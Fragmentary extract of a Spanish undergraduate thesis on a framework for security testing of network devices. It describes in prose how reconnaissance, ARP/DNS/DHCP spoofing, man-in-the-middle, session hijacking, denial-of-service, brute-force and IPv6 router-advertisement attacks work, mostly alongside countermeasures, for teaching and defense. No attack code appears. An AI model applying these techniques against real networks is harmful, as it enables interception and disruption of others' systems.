Documente Academic
Documente Profesional
Documente Cultură
INGENIERÍA EN COMPUTACIÓN
Trabajo de Graduación
Autor:
Rodríguez, Ignacio Rafael José
CX: 14-1578-8
Mayo de 2019
Framework para pruebas de seguridad en dispositivos de red
AGRADECIMIENTOS
• A mi familia por todo el apoyo brindado.
ii
Framework para pruebas de seguridad en dispositivos de red
RESUMEN
En la actualidad, el uso de las Tecnologías de la Información y Comunicaciones (TIC)
en las empresas y organizaciones es cada vez más extenso, por lo que la seguridad
informática se ha convertido en una de las principales preocupaciones para las
organizaciones. Lamentablemente de acuerdo a la realidad no existen sistemas
completamente seguros, por tanto, es necesario buscar todos los posibles aspectos de
vulnerabilidad.
iii
Framework para pruebas de seguridad en dispositivos de red
Índice
AGRADECIMIENTOS .............................................................................................. II
RESUMEN................................................................................................................. III
1. INTRODUCCIÓN ................................................................................................... 1
3.2.3. Fingerprinting.....................................................................................18
iv
Framework para pruebas de seguridad en dispositivos de red
v
Framework para pruebas de seguridad en dispositivos de red
CONCLUSIONES.................................................................................................... 112
BIBLIOGRAFIA...................................................................................................... 113
vi
Framework para pruebas de seguridad en dispositivos de red
1. Introducción
Al acecho de los paquetes de red de una organización existen una serie de amenazas
potenciales debido a (i) errores de configuración, (ii) errores humanos, (iii) políticas de
seguridad débiles y (iv) otras vulnerabilidades que pueden ser explotadas por un
atacante no autorizado. Su objetivo puede ser inutilizar las aplicaciones, los servidores
y la red, de manera temporal o permanente, como así también, el robo o filtración de
información privada.
Para mitigar estas amenazas, las organizaciones deben realizar regularmente tests de
penetración en sus infraestructuras, con el objetivo de poner a prueba los sistemas de
seguridad existentes y poder identificar vulnerabilidades y solucionarlas antes de que
ocurra un ataque real.
Capítulo 1 – Introducción 1
Framework para pruebas de seguridad en dispositivos de red
o Capacidad para que un usuario pueda crear módulos propios y extender las
funcionalidades de la herramienta.
• Diseñar un trabajo de laboratorio en el que se realizarán pruebas de seguridad
utilizando la herramienta desarrollada.
• Analizar los resultados de las pruebas realizadas y obtener conclusiones.
• Se presupone:
o Conocimientos del funcionamiento de los principales protocolos del
stack TCP/IP.
o Conocimientos básicos de programación en lenguaje Python
o Conceptos avanzados de sistemas operativos basado en GNU/Linux
Capítulo 1 – Introducción 2
Framework para pruebas de seguridad en dispositivos de red
En general, las fases de un pentest, desde el punto de vista de un Hacker Ético o white
hat, son las siguientes:
1
Fuente:
http://www.isaca.org/chapters3/Atlanta/AboutOurChapter/Documents/GW2015/0811
15-10AM-Pentesting.pdf
5) Generación de los informes. Por último, el pentester debe generar reportes que
ayuden a la organización en el proceso de remediación de vulnerabilidades. En
las etapas anteriores, excepto la primera, se deben documentar las acciones
llevadas a cabo.
En esta fase se realizan dos tipos de informes: (i) informe ejecutivo, destinado
a los directivos de la organización para la toma de decisiones; en él se describe
el nivel de riesgo expuesto por la organización, sin detalles técnicos,
evidenciando las problemáticas por medio de conceptos claros y gráficas.
(ii) Informe técnico, dirigido al área técnica, ayudando a solucionar los
problemas detectados. En este reporte se exponen las evidencias de los tests
realizados, se incluyen los posibles efectos y alcances de los ataques en el caso
de que se produjeran.
Desde el punto de vista de un hacker black hat o grey hat las fases de un pentest difieren
ligeramente de las mencionadas anteriormente. En la Fig 2-1 se muestran las
diferencias.
2
Esta técnica consiste en obtener acceso a un dispositivo a partir de otro ya
comprometido de la misma red.
Fig. 2-1. Proceso de pentest desde la perspectiva de un hacker ético o while hat
(izquierda), desde la perspectiva de un hacker o black hat (derecha).
La fase de definición de las normas y límites del hacker ético es la fase de objetivos
para el black hat. Aquí el hacker define que quiere obtener y el alcance. Por ejemplo,
si lo que quiere es acceder una base de datos de un servicio web o simplemente dejar
fuera de servicio una determinada aplicación.
Por otro lado, la fase de generación de informes se elimina y se divide en dos fases,
permanencia del acceso y el borrado de huellas. En la primera, el intruso tiene como
objetivo permanecer en el sistema/red todo el tiempo que le sea posible sin ser
detectado. En esta fase el hacker instala backdoors y crea usuarios con altos privilegios,
entre otras acciones, para poder perpetuar su acceso con éxito. En la segunda fase, la
actividad del atacante es eliminar toda huella que delate que ha estado allí. Esto incluye
borrado de logs en servers y PCs, eliminación de usuarios ocultos, entre otras acciones.
Este documento se enfoca principalmente en las fases 2, 3 y 4, que son comunes en los
diferentes puntos de vista mencionados (ver Fig. 2-2).
Fig. 2-2. Relación de fases entre pentests realizados por un Hacker White hat y un
Hacker Black hat.
puede desarrollar el trabajo desde diferentes puntos: red interna, red externa,
Wifi, desde el puesto de un empleado, etc.
Dentro de los equipos que poseen una implementación de la pila de protocolos TCP/IP,
se distinguen dos grupos, y ambos son objetivos de potenciales ataques:
• Dispositivos de red: son los encargados de que el tráfico de datos fluya dentro
o entre redes. Por tanto, engloban a dispositivos como routers, switches, hubs,
bridges y firewalls.
En las siguientes secciones de este capítulo se hace uso de ambos conceptos, con el fin
de evaluar las vulnerabilidades en los protocolos de la pila TCP/IP.
3.2.1. Footprinting
Se denomina footprinting al proceso de recolectar información pública acerca de un
sistema o red a auditar. El auditor luego debe filtrar y clasificar esa información, que
puede ser usada en etapas posteriores.
Web site Footprinting: es una técnica que permite extraer los detalles relacionados con
un sitio web. Algunas veces, el sitio web perteneciente a una organización revela más
información de la que debería. Se puede encontrar, por ejemplo, información sobre la
compañía que desarrolló o mantiene ese sitio, del desarrollador en sí, tipo de tecnología
usada para el desarrollo del sitio, etc. También se puede inspeccionar el código HTML
en busca de comentarios que haya dejado el programador, estos pueden ser una fuente
importante de información.
Un error muy común de los webmasters es olvidar filtrar o personalizar los errores 404
- Not Found. Este error se produce cuando se intenta consultar una página web que no
existe en el servidor web, y si no ha sido modificada, muestra la página de error por
defecto, que puede contener información del servidor web y del sistema operativo.
Un atacante puede aprovechar ese error consultando páginas web inexistentes, para
forzar a que el servidor web revele información.
Fig. 3-1. Página de error 404 (Not Found) por defecto de un servidor Apache.
La técnica consiste en conseguir una transferencia del archivo de zona del servidor DNS
de la organización. Esto se hace enviando al servidor DNS una consulta del tipo AXFR
Request, para solicitar una transferencia de zona completa. Un servidor DNS maestro
correctamente configurado solo debería responder a este tipo de solicitud cuando
provenga de un servidor DNS esclavo autorizado, y rechazar las que provengan de un
cliente no autorizado. Sin embargo, es bastante común encontrarse con servidores DNS
que no controlan la dirección IP desde donde se solicita la transferencia de zona y
entregan todo su mapa de dominio a cualquiera que lo solicite.
Una herramienta útil para llevar a cabo esta técnica, es la aplicación nslookup. Es una
aplicación de administración, actualmente implementada en diversos sistemas
operativos (incluyendo Microsoft Windows y GNU/Linux) que permite: consultar,
obtener información, probar y solucionar problemas de servidores DNS.
Fig. 3-3. Respuesta recibida al solicitar una transferencia de zona al servidor DNS
autoritativo (ns2.unt.edu.ar) para la zona herrera.unt.edu.ar
Resolución inversa
Análisis de metadatos: los metadatos pueden definirse simplemente como datos que
contienen información relativa a un documento o fichero concreto.
Por ejemplo, un archivo de texto puede contener entre sus metadatos información
relacionada con su procedencia, como datos del autor, fecha de creación y modificación
o la aplicación y versión usada para su redacción.
3.2.2. Escaneos
Durante la etapa de recolección de información, se suelen realizar escaneos con el fin
de identificar a los sistemas activos de una red, como así también, los servicios que
estos ofrecen, por medio de la identificación de puertos abiertos.
• TCP ACK scan: se usa para determinar si un equipo de la red escucha peticiones
a través de un firewall. Cuando el emisor envía un paquete TCP con el flag ACK
activo, el receptor debe responder con un paquete RST, esté o no abierto el
puerto, si no existe respuesta puede deberse a que existe un firewall en medio
de la comunicación o que el receptor se encuentra inactivo (apagado).
• TCP Null scan: el emisor envía un paquete TCP, sin ningún bit activo del campo
flag. Si el puerto destino se encuentra abierto, no se recibe ninguna respuesta.
Si, por el contrario, el puerto se encuentra cerrado, el receptor envía un
RST+ACK. Es decir, este tipo de escaneo permite identificar los puertos TCP
cerrados.
• TCP FIN scan: se crea un paquete TCP con el bit de FIN activo. El emisor envía
el paquete, y si el puerto se encuentra abierto, no se va a obtener ninguna
respuesta. Sin embargo, si el puerto se encuentra cerrado, la respuesta que se
recibe es un RST+ACK. El objetivo de este tipo de escaneo es idéntico al de
TCP null scan.
• UDP scan: se envía paquetes UDP sin datos. En caso que el puerto esté cerrado,
se recibe un mensaje ICMP port unreachable. Si, por el contrario, el puerto está
abierto, no se recibe ninguna respuesta. Debido a que UDP es un protocolo no
orientado a conexión, este método resulta poco fiable ya que puede producir
falsos positivos.
Por otro lado, en el caso que se detecte un elevado número de puertos UDP
abiertos, puede indicar la presencia de un dispositivo de filtrado entre el atacante
y el objetivo. Para confirmar esto, se puede enviar un paquete UDP al puerto
cero, lo que debe generar una respuesta ICMP como la ya comentada. Si no hay
respuesta, indica que existe un dispositivo filtrando el tráfico.
La Fig. 3-8 muestra un ejemplo de uso de la herramienta NMAP, con el parámetro -sT
se indica que se van a escanear solo puertos TCP, seguido de la dirección IP del host a
auditar (192.168.1.7).
3.2.3. Fingerprinting
Algunas pruebas que se pueden hacer para identificar el sistema operativo del host
objetivo son las siguientes:
• Sondeo de flag aleatorio: se envía un paquete TCP SYN con un flag aleatorio
activo. La respuesta de implementaciones como Linux devuelven un paquete
SYN-ACK con el mismo flag activo.
• Tamaño inicial de ventana TCP: el tamaño de ventana usado por defecto en cada
implementación es muy particular y ayuda a identificar el sistema remoto.
• Valor del campo ACK: algunas implementaciones envían como ACK el número
del ultimo byte recibido, mientras que otras lo incrementan en uno.
• Opciones de TCP: los RFCs 793 y 1323 definen las opciones TCP posibles.
Mediante el envío de paquetes con muchas opciones avanzadas activas
(Maximum Segment Size, Windows scale factor, timestams) puede descubrirse
a través del comportamiento, el sistema operativo en cuestión.
El método de banner grabbing puede aplicarse sobre cualquier tipo de servicio como,
por ejemplo: FTP, Telnet, SSH, SMTP, POP3, HTTP, entre otros. Particularmente, este
documento solo trata el banner grabbing en el servicio HTTP, usado para obtener
información del servidor en el que se aloja un sitio web, y en algunos casos también
puede conocerse la versión del mismo.
Una forma sencilla de obtener el banner de un servidor web es establecer una conexión
al puerto 80 (HTTP) utilizando la aplicación telnet, para poder interactuar con el mismo.
Luego de establecer la conexión TCP, se usa el método HEAD y se especifica la versión
de protocolo (HTTP 1.1) para obtener la cabecera de la respuesta HTTP. En la Fig. 3-9
se muestra un ejemplo.
Cada vez que un cliente necesita resolver el nombre de un dominio, consulta al servidor
DNS que tiene configurado por defecto. Si el servidor no es autoritativo para el dominio
consultado, antes de solicitar la resolución del nombre por medio una consulta
recursiva, primero busca si tiene una resolución de ese nombre en su caché.
- Se puede conocer la marca concreta del antivirus que es usado en los equipos
de la organización, consultando los dominios que utilizan cada uno de ellos
para actualizar su base de firmas. Esto permite a un atacante contar con toda
la información necesaria para crear un malware que sea indetectable por ese
antivirus.
- Por último, si se conocen los sitios visitados habitualmente por los miembros
de la organización, se puede atacar alguno de esos sitios web y por medio de
un exploit aprovechar alguna vulnerabilidad descubierta en los navegadores
usados en los equipos de la organización, permitiendo que, al visitar la web
modificada, los equipos clientes sean comprometidos con algún malware.
3.2.6. Sniffing
A través del sniffing se puede obtener una gran variedad de información. La técnica
consiste en escuchar el tráfico de la red de manera pasiva, esto permite descubrir hosts
en la red inspeccionando la dirección origen y destino de los paquetes, como así también
servicios y aplicación al inspeccionar la cabecera del protocolo de transporte e
identificar los puertos utilizados.
Existen una gran variedad de herramientas que permitan analizar el tráfico de la red
(sniffers), siendo las más populares Wireshark y TCPDump.
El spoofing se puede traducir como “hacerse pasar por otro”, en términos de seguridad
de redes hace referencia al uso de técnicas de suplantación de identidad, es decir, un
atacante falsea el origen de los paquetes, haciendo creer a la víctima que estos provienen
de un host de confianza o autorizado.
3.3.1. IP Spoofing
Se debe tener en cuenta que las respuestas a los paquetes IP falseados son dirigidas al
host suplantado y no hacia el host atacante. Sin embargo, el IP Spoofing es usado en
muchos ataques que no necesitan ver las respuestas (blind spoofing), por ejemplo,
ataques de tipo flooding, inundando a la víctima con tantos paquetes como sea posible
en un corto lapso de tiempo, con el objetivo de degradar su capacidad de conexión a la
red o realizar una denegación de servicios.
La Fig. 3-11 muestra un ejemplo de suplantación IP en una red local. El atacante envía
al host A un mensaje ICMP echo request (encapsulado dentro de IP), en el que falsea
la dirección origen del datagrama con la dirección del host B.
Cuando el host A recibe el paquete, responde con un mensaje ICMP echo reply dirigido
al host B (y no hacia el atacante).
Contramedidas
Hoy en día un ataque clásico de IP Spoofing hacia un objetivo remoto, es bastante difícil
de conseguir, debido a que los routers actuales no permiten el envío de paquetes con
direcciones IP origen que no pertenezcan a las redes que administran.
Hay algunas precauciones que pueden ser tomadas para limitar los riesgos de sufrir IP
spoofing, como:
Con el objetivo de reducir el tráfico en la red, cada solicitud y respuesta ARP que llega
a una tarjeta de red, es almacenada en una tabla llamada caché ARP. Cada interfaz de
red tiene asociada una caché ARP. Así, todos los hosts que reciben por difusión un
paquete arp-request, actualizan su caché ARP, agregando a ella la dirección IP y MAC
del host que envió la solicitud. Por otro lado, el host que recibe una respuesta ARP (arp-
reply), actualiza su caché ARP con la IP y MAC del host que envió la respuesta. Este
comportamiento puede ser aprovechado por un atacante, para realizar un ataque de
spoofing al protocolo ARP. Otra característica de este protocolo es que es stateless, por
lo tanto, la mayoría de los sistemas operativos actualizan su caché si reciben una
respuesta (arp-reply), sin importar si se envió o no un pedido (arp-request).
El ARP Spoofing o ARP poisoning, se basa en el envío de respuestas ARP falseadas con
el objetivo de envenenar las entradas (relación IP‐MAC) de la tabla ARP de la víctima,
y forzarla a que envíe los paquetes al host del atacante en vez de hacerlo al destino
legítimo. Normalmente se asocia la dirección MAC del atacante con la dirección IP del
nodo suplantado, con el objetivo de poder capturar el tráfico ajeno, sin necesidad de
poner en modo promiscuo la interfaz de red.
El host A recibe el paquete arp-reply y agrega la entrada falsa a su caché ARP. A partir
de ahora, cualquier paquete del host A dirigido al gateway, es erróneamente enviado al
atacante, como se muestra en la Fig. 3-15. Este ataque permite al intruso, con el uso de
un sniffer, monitorear el tráfico enviado desde el host A hacia el gateway.
Por último, cabe mencionar que la caché ARP es de tamaño limitado y que sus entradas
expiran en un corto lapso de tiempo, por tanto, el envenenamiento ARP debe realizarse
de manera continua, enviando cada cierto tiempo paquetes arp-reply falseados para
alimentar la caché ARP de la víctima (de esta forma nunca necesitará preguntar). Así,
se evita que la víctima envié una solicitud ARP. Ya que un pedido de este tipo puede
estropear el ataque al cambiar la entrada ARP que el hacker falsificó, por una entrada
legítima.
Contramedidas
DNS Poisoning
El ataque consiste en forzar al servidor DNS objetivo a que realice una solicitud de
resolución de nombre de dominio a un servidor DNS administrado por el atacante. Este
último, envía la respuesta solicitada y además añade registros falsificados en la sección
de registros adicionales, para envenenar la caché del servidor DNS objetivo.
La secuencia para envenenar la caché del servidor DNS objetivo se muestra en la Fig.
3-16 y es la siguiente:
1) El host malicioso envía una solicitud al servidor DNS objetivo pidiendo resolver
el nombre www.atacante.net
DNS ID Spoofing
El método requiere que el atacante esté en la misma subred que la víctima, para poder
monitorear su tráfico y capturar las peticiones DNS para así obtener la información
necesaria para armar las respuestas falsas. La interceptación de las solicitudes se puede
lograr a través de un ataque Man in the middle entre la víctima y el servidor DNS
preferido, para que todo el tráfico entre ellos pase por el host del atacante. La Fig. 3-17
muestra el escenario planteado.
dirección de gateway. Dicha petición es interceptada por el atacante que responde con
un paquete dns-response, asociando una IP incorrecta (3.3.3.3) al nombre de dominio
consultado. Para evitar que se produzca una condición de carrera entre la respuesta del
host malicioso y la del DNS preferido, el atacante impide el reenvío de la solicitud hacia
el DNS preferido. De esta manera, la víctima recibe una traducción falsa y es redirigida
al sitio web del atacante.
Contramedidas
“Un resolver, con objeto de validar una respuesta DNS, debe realizar las siguientes
comprobaciones:
En general, se acepta la primera respuesta que cumpla con estas cuatro condiciones.”
3
RFC5452. http://tools.ietf.org/html/rfc5452
Rogue DHCP
Un problema que se presenta con este método es que el atacante desconoce inicialmente
tanto el rango de direcciones IP que se conceden, como las que se encuentran ya
asignadas por el servidor DHCP legítimo. Esto puede generar conflictos entre las
direcciones IP que asigna el falso servidor, con las dadas por el servidor legítimo. Para
evitar este problema, el atacante puede hacer uso de un método conocido como DHCP
ACK Injection, que es tratado a continuación.
Sin embargo, en este método también se produce una condición de carrera, entre la
respuesta del servidor DHCP y la enviada por el atacante. La confirmación
(DHCPACK) que llegue primero al cliente es la que establece la configuración del
mismo. Un atacante puede asegurarse que su respuesta llegue primero, si impide que el
servidor DHCP legítimo envié su respuesta. Esto último se puede conseguir atacando
el DHCP legitimo con un ataque conocido como DHCP Starvation.
DHCP Starvation
Contramedidas
DHCP Snooping es la protección más fiable contra ataques de DHCP spoofing. Es una
funcionalidad que poseen los switches actuales y que permite diferenciar entre dos tipos
de puertos: por un lado, los puertos confiables (trusted port) y por otro, puertos no
confiables (untrusted host). Los primeros no tienen restricciones respecto al tipo de
mensajes DHCP que pueden recibir, puesto que son aquellos conectados a un entorno
controlado (en este caso a los servidores DHCP). Sin embargo, los segundos
únicamente pueden enviar aquellos paquetes que en condiciones normales un cliente
necesita enviar para conseguir su configuración DHCP (DHCPDiscover,
DHCPRequest, DHCPRelease). Los untrusted port por lo tanto son configurados en
aquellos puertos conectados a los usuarios finales y en caso de recibir un paquete
suplantado DHCPOffer, un DHCPNack o DHCPAck (este es el caso de DHCP Ack
Inyector) es bloqueado.
Otra contramedida es el uso de VACL (Vlan Access List), estas proporcionan control
de acceso a todos los paquetes dentro de la VLAN y permite filtrar paquetes a
determinados puertos. Se puede bloquear el tráfico UDP proveniente del puerto 67 para
aquellos puertos del switch destinados al usuario final.
3.3.5. Phishing
El Phishing consiste en la suplantación de una página web real por otra falsa con el fin
de realizar acciones fraudulentas. La web falsa tiene el mismo aspecto, páginas y links
de la web que se pretende suplantar. En este caso, el objetivo no es engañar a una
entidad de aplicación o a un protocolo sino a una persona.
La web falsa es administrada por un atacante. Generalmente este ataque es usado para
el robo de información como credenciales de acceso a un sitio web u otros datos
enviados a través de formularios, haciendo creer a la víctima que se encuentra en una
web de confianza. Incluso puede usarse para brindar información falsa con fines
fraudulentos.
El atacante se vale de técnicas de ingeniería social para lograr que la víctima acceda a
la web falsa. Puede enviar el enlace a la página web falsa por correo electrónico, o algún
sistema de mensajería instantánea, redes sociales, etc. También se puede hacer un
ataque de DNS Spoofing para redireccionar a la víctima a la página web falsa.
Contramedidas
Algunas precauciones que pueden ser tomadas para evitar o al menos disminuir las
probabilidades de ser víctimas de phishing son siguientes:
Existen una gran variedad de métodos para llevar a cabo ataques de MITM, muchos de
ellos derivan de otros ataques, como el ARP Spoofing y DHCP Spoofing vistos en la
sección anterior. Los ataques de hombre en medio no son exclusivos de las redes IPv4,
también afecta a redes IPv6, este último caso es tratado en el próximo capitulo.
Para perpetrar el ataque envía tramas arp-reply a cada víctima. Al host A le indica que
la IP del host B se corresponde con la MAC del atacante. Mientras que al host B le
indica que la IP del host A se corresponde con la MAC del atacante, como muestra la
Fig. 3-21.
Dado que este ataque funciona usando el protocolo ARP, tanto las víctimas como el
atacante deben encontrarse en el mismo segmento de red. No se puede por lo tanto
envenenar una conexión entre dos sistemas que se encuentran en una VLAN diferente
al atacante.
Aunque el ataque ARP spoofing se basa en el envío de tramas ARP Reply para mantener
el engaño, en algunos escenarios puede llegar a fallar. Determinados entornos
(configuraciones de electrónica de red principalmente) pueden descartar tramas de ARP
Reply si en la comunicación no ha existido una petición de tipo ARP Request previa.
Para evitar este problema, el atacante puede enviar paquetes ARP Request hacia las
víctimas y colocar en medio la entrada ARP falseada. Aunque evidentemente esto va a
generar más tráfico en la red.
La Fig. 3-23 muestra un escenario donde un servidor DHCP legítimo está configurado
para establecer como router por defecto la dirección de la interfaz R1 del router
(192.168.1.1) y como DNS preferido la IP 192.168.1.253. Mientras que el DHCP falso
configura esos mismos parámetros con la IP del atacante (192.168.1.50).
Cabe aclarar que un ataque de MITM basado en DHCP spoofing es de un solo sentido
(half-duplex), solo permite capturar el tráfico saliente que la víctima envía a hosts fuera
de la red, además de las consultas al servidor DNS preferido. Luego el atacante reenvía
las tramas al destinatario real para no interrumpir la comunicación. Las respuestas se
envían directamente a la víctima. La siguiente figura muestra como es direccionado un
paquete enviado por la víctima hacia Internet.
Contramedidas
Las contramedidas para mitigar ataques de MITM parten de evitar que se perpetren
técnicas de spoofing con los mecanismos ya vistos en secciones anteriores (entradas
ARP estáticas, DHCP Snooping, ARP anti-attack). Otra contramedida es el cifrado de
extremo a extremo de la comunicación, de modo que, si la comunicación es
interceptada, no pueda ser leída.
La siguiente figura muestra a los sistemas víctima (de IP ipA) y objetivo (de IP ipB)
comunicándose a través de una sesión telnet ya establecida. Ambos sistemas se
encuentran en la misma subred (aunque podrían estar en redes diferentes).
El atacante puede lanzar un ataque de MITM para escuchar la comunicación entre las
víctimas, como se muestra en la Fig. 3-26. De cada segmento interceptado se obtiene el
número de secuencia (SN), el número ACK (AN) y entre paréntesis la cantidad de bytes
transportados.
El host objetivo acepta el paquete, ya que no importa dónde ni cómo se generó. Mientras
se cumplan con las normas del protocolo, la máquina lo va a procesar si recibe lo que
está esperando.
Contramedidas
Este ataque puede evitarse cifrando los paquetes, esto impide que el atacante obtenga
cualquier información que ayude a la suplantación de identidad. Un cifrado a nivel de
red es lo más recomendable (pues cifra la cabecera TCP) y se consigue con la
implementación del protocolo IPSec. También es recomendable el uso de aplicaciones
seguras como SSL, SSH, FTPS, etc.
Los ataques de Denegación de Servicio (DoS, Denial of Service) tienen por meta
provocar la indisponibilidad de servicios, equipos o redes, con el fin impedir que
usuarios legítimos accedan a los mismos.
Este tipo de ataques se basan generalmente en consumir los recursos de una máquina,
servicio o red, por ejemplo:
Las técnicas aplicadas en este tipo de ataque se basan en los protocolos ICMP y UDP,
al tratarse de protocolos no orientados a conexión y que permiten el envío de paquetes
sin requisitos previos: ICMP flooding y UDP Flooding.
3.6.2. Smurf
Este ataque de denegación de servicio es una variante del anterior (Net Fooding). El
atacante envía a la red grandes cantidades de tráfico ICMP echo-request (ping),
poniendo como IP destino la dirección de broadcast de la red, y como IP origen la
dirección de la máquina que debe ser atacada (IP spoofing).
Con estos mensajes ICMP fraudulentos, se consigue que todas las máquinas de la red
respondan a la vez a un mismo equipo (víctima), provocando un consumo del ancho de
banda disponible y saturando el host atacado.
Los servicios orientados a conexión (telnet, ftp, http…) tienen un límite máximo de
conexiones concurrentes soportadas; cuando este se alcanza, cualquier nueva conexión
es rechazada.
Al igual que lo antes mencionado, las conexiones expiran progresivamente con el paso
del tiempo, pero un ataque persistente de apertura de conexiones puede mantener el
límite de las mismas en su valor máximo.
Se debe tener en cuenta que los sistemas operativos actuales no permiten el envío de
ping que superen el máximo tamaño permitido, se obtienen mensajes como “Error:
packet size 65510 is too large. Maximum is 65507” (Linux) o “Bad value for option -l,
valid range is from 0 to 65500” (Windows 10). Sin embargo, existen herramientas que
implementan el envío de paquetes mayores al límite permitido.
Este permite bloquear un sistema mediante el envío de un paquete SYN cuya dirección
IP origen y destino es la misma. Existe una variación de este ataque en la que los puertos
origen y destino también son iguales. Para llevar a cabo este ataque se debe hacer uso
de IP Spoofing. Además, los puertos alcanzados por el ataque deben encontrarse
brindando el servicio correspondiente.
Contramedidas
No existe una solución perfecta contra ataques DoS, pero se pueden tomar un conjunto
de medidas para mitigar este tipo de ataques:
La fuerza bruta ha sido durante mucho tiempo una de las técnicas más usadas para
obtención de credenciales (usuario y contraseña). Suponiendo que el usuario ya se
conoce, el ataque consiste en obtener la respectiva contraseña probando todas las
posibles combinaciones de caracteres de manera automatizada, con la ayuda de un
software hasta dar con la contraseña correcta. Este ataque se puede aplicar a servicios
que usan mecanismos de autenticación por credenciales (como telnet, ftp, aplicaciones
web, etc.), como así también sobre archivos protegidos por contraseñas.
La siguiente tabla muestra el tiempo requerido para un ataque de fuerza bruta según la
longitud de la contraseña y conjunto de caracteres utilizado. Se supone que el ataque se
lleva a cabo por una sola computadora y la capacidad de cómputo es de 500 contraseñas
por segundo.
Contramedidas
• Usar doble factor de autenticación. Hoy en día hay servicios que lo ofrecen
integrado y de manera gratuita, como pueden ser Google, Twitter y Linkedin.
Estos servicios normalmente envían un mensaje al teléfono celular del usuario
con un código de verificación. El usuario no podrá acceder al servicio hasta que
introduzca dicho código.
4.1. Introducción
El nuevo protocolo IPv6 no sólo produce una mejora del rango de direccionamiento,
sino que también introduce nuevos mecanismos de configuración que suponen grandes
ventajas respecto a IPv4. Sin embargo, IPv6 no sólo trae ventajas respecto a IPv4,
también conlleva a la aparición nuevos riesgos de seguridad y ataques.
Es por ello que en este capítulo se hace un repaso de las principales características del
protocolo IPv6, para luego abordar los aspectos de seguridad más relevantes que expone
la implementación de IPv6 y la forma de tratarlos.
Características de IPv6
Esta nueva forma de incluir opciones hace que los paquetes sean más simples y
que el procesamiento de éstos sea mucho más rápido.
• Elimina el uso de PAT/NAT: En IPv6 las direcciones IPs son públicas dentro
y fuera de la organización. Esto permite implementar aplicaciones
problemáticas de resolver con NAT/PAT como voz sobre IP, Peer-to-peer,
video conferencia.
Por estas razones en esta sección se exploran algunas técnicas alternativas para
descubrir nodos en IPv6. Muchas de ellas basadas en el comportamiento humano,
patrones y en estándares de autoconfiguración propios de IPv6, con la finalidad de
reducir el espacio de búsqueda de direcciones IPv6.
Por ejemplo, si el prefijo 2001:db8::/64 se usa para asignar direcciones en la red local,
el servidor DHCPv6 puede asignar secuencialmente direcciones del rango 2001:db8::1
- 2001: db8 :: 100.
En los escenarios más comunes esto significa que el espacio de búsqueda de las
Interface ID se reduce de los 64 bits originales, a 8 o 16 bits.
Dado que los sistemas operativos Windows (Vista, 7, 10, etc.) no responden a los
mensajes ICMPv6 Echo Request enviados a direcciones de multidifusión, se pueden
emplear otras técnicas de sondeo, por ejemplo, enviar paquetes IPv6 con opciones
invalidas (no reconocidas), para que la víctima al procesar el paquete genere un mensaje
de error ICMPv6 Parameter Problem (código 2) con destino al atacante.
Contramedidas
• Configurar los hosts para que generen las Interface ID de forma aleatoria
(evitar el uso de EUI-64).
• El uso de sistemas detección de intrusos (IDS) y firewall ayuda a mitigar
ataques de exploración.
Este método se aprovecha del mecanismo de mensajes de aviso usado por el método
SLAAC para propagar información de configuración en el segmento de red,
concretamente se aprovecha de los mensajes ICMPv6 RA (Router Advertisement)
enviados por el router, tanto en anuncios periódicos, como en respuesta a mensajes
Router Solicitation (RS).
El principal problema del protocolo NDP es que sus mensajes no están protegidos. Los
nodos que reciben mensajes NDP no pueden distinguir entre mensajes NDP legítimos
y falsos. Este es un gran problema de seguridad, ya que un atacante puede hacerse pasar
un router legítimo y proporcionar a los hosts información maliciosa en su configuración
(MTU, prefix, router lifetime, etc) para interrumpir su conectividad (Denegación de
Servicio) o, peor aún, capturar sus datos (Man in the Middle).
Primero el atacante debe asegurarse que su configuración será la elegida, esto lo logra
enviando de forma periódica mensajes RA haciéndose pasar por el router legítimo (por
medio de spoofing), usando sus mismos parámetros de configuración, salvo el campo
router lifetime que lo pone en valor cero, esto le indica a la víctima que el router
legitimo ya no es un default router valido, forzándola a eliminar al default router de su
tabla de ruteo.
Luego, el atacante crea otro anuncio de router, pero esta vez se anuncia a sí mismo
como un default router válido. El mensaje RA enviado tiene un router lifetime mayor
a cero y en la opción source link-layer la dirección MAC del atacante (ver Fig. 4-4). De
esta manera el nodo victima queda engañado con la configuración maliciosa y todos los
paquetes enviados hacia fuera de la red local son redirigidos hacia el nodo del atacante.
Para evitar una interrupción en la comunicación, el atacante luego debe reenviar los
paquetes capturados hacia el default router legítimo, en caso contrario se produce una
denegación de servicio. Sin embargo, el tráfico que fluye de regreso a la víctima se
envía directamente a ella (sin pasa a través del host atacante), es decir, se trata de un
ataque MITM en una sola dirección (half-MITM).
Se puede destacar que los mensajes RA maliciosos enviados por el atacante van
dirigidos a la dirección multicast all-nodes (FF02::1), en consecuencia, este ataque
afecta a todos los nodos del segmento. Sin embargo, también se pueden enviar estos
mensajes RA a la dirección unicast de la víctima, para hacer un ataque selectivo dentro
del segmento de red.
Un equipo con una dirección IPv6 link-local no puede rutear su tráfico si no tiene una
dirección IPv6 de sitio o global, es por eso que los routers, a través del mecanismo
SLAAC, envían mensajes RA (Router Advertisement) indicando a los equipos cómo
deben configurase para tener conectividad a través de ellos.
Como en el segmento de red puede haber más de un router, los equipos clientes IPv6
permiten configurar tantas direcciones como mensajes RA reciban de los diferentes
routers. Esto puede ser aprovechado por un atacante para realizar una denegación de
servicio sobre un host, al inundar el segmento de red con mensajes RA usando
diferentes prefijos, de manera que el host victima procese los mensajes y configure una
dirección IPv6 con cada prefijo anunciado, elevando así su consumo de CPU hasta
bloquearse.
Este ataque afecta principalmente a equipos con sistema operativo Windows (ver Fig.
4-5) y a versiones antiguas de Linux, Solaris, OS X, FreeBSD.
Contramedidas
Para realizar un Man in the Middle basta con enviar un mensaje NA a los dos equipos
a los que se quiere hacer el ataque, poniendo en ambos la dirección IPv6 del otro, y la
dirección MAC del atacante, como se muestra en la siguiente figura.
Cuando la víctima recibe el mensaje NA, su caché vecino queda envenenada. A partir
de este momento la víctima no podrá enviar datagramas hacia fuera de su red, puesto
que la IP del default router es resuelta a una MAC inexistente.
Este ataque DoS tiene una duración limitada, ya que después de 30-50 segundos, el
mecanismo NUD descartará la entrada incorrecta. Por lo tanto, el atacante debe realizar
el envenenamiento de forma periódica, si desea mantener el ataque por más tiempo.
El uso de un prefijo de subred /64 en un enlace entre routers facilita este ataque. Esto
se debe a las limitaciones en el número de entradas que puede almacenar el cache vecino
de los routers, frente a las 264 direcciones que puede haber en la subred.
Para comprender como funciona el ataque, considere un enlace Ethernet entre dos
routers, R1 y R2, a los que se ha asignado una subred /64 (ver Fig. 4-9). Un paquete
enviado a cualquier dirección de las 264 (excepto las direcciones de las interfaces de R1
y R2) hace que el router que intenta reenviarlo cree una nueva entrada en la caché en
